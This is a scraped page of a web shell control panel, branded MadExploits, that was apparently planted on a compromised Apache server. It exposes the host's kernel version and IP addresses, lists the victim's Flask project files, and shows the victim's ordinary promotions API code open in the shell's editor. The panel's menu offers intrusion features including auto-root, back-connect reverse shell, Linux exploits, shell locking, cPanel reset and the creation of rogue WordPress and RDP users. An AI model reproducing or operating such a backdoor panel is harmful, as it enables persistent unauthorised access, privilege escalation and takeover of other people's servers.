Linux 45-56-67-123 5.14.0-503.16.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Dec 13 01:47:05 EST 2024 x86_64
Apache/2.4.62 (AlmaLinux) OpenSSL/3.2.2
: 45.56.67.123 | : 18.117.132.49
Cant Read [ /etc/named.conf ]
8.3.15
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
afra /
py.afaa.website /
[ HOME SHELL ]
Name
Size
Permission
Action
.vscode
[ DIR ]
drwxr-xr-x
__pycache__
[ DIR ]
drwxr-xr-x
explore
[ DIR ]
drwxr-xr-x
mara1_model
[ DIR ]
drwxr-xr-x
nltk_data
[ DIR ]
drwxr-xr-x
pythainlp_data
[ DIR ]
drwxr-xr-x
runs
[ DIR ]
drwxr-xr-x
venv
[ DIR ]
drwxr-xr-x
yolo8
[ DIR ]
drwxr-xr-x
. htaccess
417
B
-rwxr-xr-x
.htaccess
197
B
-rwxr-xr-x
app.log
66
B
-rwxr-xr-x
app.py
16.16
KB
-rwxr-xr-x
app.wsgi
568
B
-rwxr-xr-x
blog_ttt_website.py
5.07
KB
-rwxr-xr-x
config.py
485
B
-rwxr-xr-x
content_content_image_ram.py
11.07
KB
-rw-r--r--
content_main_ram.py
15.99
KB
-rw-r--r--
detect.py
8.16
KB
-rwxr-xr-x
explore.py
11.4
KB
-rw-r--r--
json_logfile.json
18
B
-rwxr-xr-x
keywords.json
203
B
-rw-r--r--
locations.json
299
B
-rw-r--r--
read_virus_files_php.py
2.6
KB
-rwxr-xr-x
table.csv
56.2
KB
-rw-r--r--
travel.py
6.89
KB
-rw-r--r--
travel_action.py
10.72
KB
-rw-r--r--
travel_mara1.py
12.6
KB
-rw-r--r--
travel_nltk_base.py
5.21
KB
-rw-r--r--
travel_pythainlp.py
9.37
KB
-rw-r--r--
udo systemctl daemon-reload
1.07
KB
-rwxr-xr-x
udo systemctl restart apache2
1.25
KB
-rwxr-xr-x
your_flask_service.log
1.07
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : explore.py
# /var/www/afra/py.afaa.website/explore.py # python3 explore.py import sys from flask import Flask, jsonify, request import logging from explore.content_internet import get_internet_data, delete_promotion, update_promotion, insert_promotions # Updated import from explore.content_internet_header import ( get_internet_header_data, delete_header, update_header, insert_headers ) app = Flask(__name__) # Setup logging logging.basicConfig(level=logging.DEBUG) logger = logging.getLogger(__name__) @app.route('/explore/api/internet/view', methods=['GET']) def get_internet_views(): """ API endpoint to view internet promotion data with optional search """ try: internet_data = get_internet_data() if "error" in internet_data: return jsonify(internet_data), 500 promotions = internet_data.get("promotions", []) # Search parameters search_title = request.args.get('title', '').lower() search_price = request.args.get('price', '').lower() search_code = request.args.get('code', '').lower() if search_title or search_price or search_code: filtered_promos = [] for promo in promotions: title_match = search_title in promo.get("title", "").lower() if search_title else True price_match = search_price in promo.get("price", "").lower() if search_price else True code_match = search_code in promo.get("code", "").lower() if search_code else True if title_match and price_match and code_match: filtered_promos.append(promo) return jsonify({"promotions": filtered_promos}), 200 return jsonify(internet_data), 200 except Exception as e: logger.error(f"Failed to fetch internet data: {e}") return jsonify({"error": "Failed to fetch internet data"}), 500 @app.route('/explore/api/internet/delete', methods=['DELETE']) def delete_internet_promo(): """ API endpoint to delete multiple promotions by IDs """ try: # Expecting a JSON array of IDs in the body or a single ID in query if request.is_json: promotion_ids = request.get_json() if not isinstance(promotion_ids, list): return jsonify({"error": "Request body must be a JSON array of IDs"}), 400 else: promotion_id = request.args.get('id', type=int) if not promotion_id: return jsonify({"error": "Promotion ID(s) required in query or body"}), 400 promotion_ids = [promotion_id] if not promotion_ids: return jsonify({"error": "No promotion IDs provided"}), 400 results = [] errors = [] for pid in promotion_ids: if not isinstance(pid, int): errors.append({"id": pid, "error": "Invalid ID format"}) continue result = delete_promotion(pid) if "error" in result: errors.append({"id": pid, "error": result["error"]}) else: results.append(result) if errors and not results: return jsonify({"error": "All deletions failed", "details": errors}), 400 elif errors: return jsonify({"message": "Partial success", "deleted": results, "failed": errors}), 207 return jsonify({"message": f"Successfully deleted {len(results)} promotions", "deleted": results}), 200 except Exception as e: logger.error(f"Failed to delete promotions: {e}") return jsonify({"error": "Failed to delete promotions"}), 500 @app.route('/explore/api/internet/update', methods=['PUT']) def update_internet_promo(): """ API endpoint to update multiple promotions """ try: if not request.is_json: return jsonify({"error": "Request must be JSON"}), 400 updated_promos = request.get_json() if not updated_promos: return jsonify({"error": "No update data provided"}), 400 # Handle both single object and list of objects if isinstance(updated_promos, dict): updated_promos = [updated_promos] elif not isinstance(updated_promos, list): return jsonify({"error": "Request body must be a JSON object or array"}), 400 results = [] errors = [] for promo in updated_promos: if "id" not in promo: errors.append({"promo": promo, "error": "ID is required"}) continue promotion_id = promo["id"] promo_data = {k: v for k, v in promo.items() if k != "id"} # Remove id from update data result = update_promotion(promotion_id, promo_data) if "error" in result: errors.append({"promo": promo, "error": result["error"]}) else: results.append(result) if errors and not results: return jsonify({"error": "All updates failed", "details": errors}), 400 elif errors: return jsonify({"message": "Partial success", "updated": results, "failed": errors}), 207 return jsonify({"message": f"Successfully updated {len(results)} promotions", "updated": results}), 200 except Exception as e: logger.error(f"Failed to update promotions: {e}") return jsonify({"error": "Failed to update promotions"}), 500 @app.route('/explore/api/internet/insert', methods=['POST']) def insert_internet_promo(): """ API endpoint to insert multiple promotions with auto-generated IDs """ try: if not request.is_json: return jsonify({"error": "Request must be JSON"}), 400 new_promos = request.get_json() if not new_promos: return jsonify({"error": "No insert data provided"}), 400 # Handle both single object and list of objects if isinstance(new_promos, dict): new_promos = [new_promos] elif not isinstance(new_promos, list): return jsonify({"error": "Request body must be a JSON object or array"}), 400 result = insert_promotions(new_promos) if "error" in result: status_code = 400 if "details" in result else 500 return jsonify(result), status_code return jsonify(result), 201 except Exception as e: logger.error(f"Failed to insert promotions: {e}") return jsonify({"error": "Failed to insert promotions"}), 500 # --- API สำหรับ header (categories) --- @app.route('/explore/api/internet/header/view', methods=['GET']) def get_internet_header_views(): """ API endpoint to view internet header data """ try: header_data = get_internet_header_data() if "error" in header_data: return jsonify(header_data), 500 return jsonify(header_data), 200 except Exception as e: logger.error(f"Failed to fetch internet header data: {e}") return jsonify({"error": "Failed to fetch internet header data"}), 500 @app.route('/explore/api/internet/header/delete', methods=['DELETE']) def delete_internet_header(): """ API endpoint to delete a header category by filterKey. Expects query parameter ?filterKey=VALUE or JSON array of filterKey(s) """ try: if request.is_json: filter_keys = request.get_json() if not isinstance(filter_keys, list): return jsonify({"error": "Request body must be a JSON array of filterKey values"}), 400 else: filter_key = request.args.get('filterKey') if not filter_key: return jsonify({"error": "filterKey is required in query or body"}), 400 filter_keys = [filter_key] results = [] errors = [] for key in filter_keys: result = delete_header(key) if "error" in result: errors.append({"filterKey": key, "error": result["error"]}) else: results.append({"filterKey": key, "message": "Deleted successfully"}) if errors and not results: return jsonify({"error": "All deletions failed", "details": errors}), 400 elif errors: return jsonify({"message": "Partial success", "deleted": results, "failed": errors}), 207 return jsonify({"message": f"Successfully deleted {len(results)} header(s)", "deleted": results}), 200 except Exception as e: logger.error(f"Failed to delete header(s): {e}") return jsonify({"error": "Failed to delete header(s)"}), 500 @app.route('/explore/api/internet/header/update', methods=['PUT']) def update_internet_header(): """ API endpoint to update multiple header categories. Expects JSON payload as an object or array. Each object must include "filterKey". """ try: if not request.is_json: return jsonify({"error": "Request must be JSON"}), 400 updated_headers = request.get_json() if not updated_headers: return jsonify({"error": "No update data provided"}), 400 if isinstance(updated_headers, dict): updated_headers = [updated_headers] results = [] errors = [] for header in updated_headers: if "filterKey" not in header: errors.append({"header": header, "error": "filterKey is required"}) continue filter_key = header["filterKey"] header_data = {k: v for k, v in header.items() if k != "filterKey"} result = update_header(filter_key, header_data) if "error" in result: errors.append({"header": header, "error": result["error"]}) else: results.append(result) if errors and not results: return jsonify({"error": "All updates failed", "details": errors}), 400 elif errors: return jsonify({"message": "Partial success", "updated": results, "failed": errors}), 207 return jsonify({"message": f"Successfully updated {len(results)} header(s)", "updated": results}), 200 except Exception as e: logger.error(f"Failed to update header(s): {e}") return jsonify({"error": "Failed to update header(s)"}), 500 @app.route('/explore/api/internet/header/insert', methods=['POST']) def insert_internet_header(): """ API endpoint to insert multiple header categories. Does not require "filterKey"; it will be auto-assigned. Expects JSON payload as an object or array. """ try: if not request.is_json: return jsonify({"error": "Request must be JSON"}), 400 new_headers = request.get_json() if not new_headers: return jsonify({"error": "No insert data provided"}), 400 if isinstance(new_headers, dict): new_headers = [new_headers] result = insert_headers(new_headers) if "error" in result: status_code = 400 if "details" in result else 500 return jsonify(result), status_code return jsonify(result), 201 except Exception as e: logger.error(f"Failed to insert headers: {e}") return jsonify({"error": "Failed to insert headers"}), 500 if __name__ == "__main__": # Run the Flask app on a different port to avoid conflict with app.py app.run(host='0.0.0.0', port=423, debug=True)
Close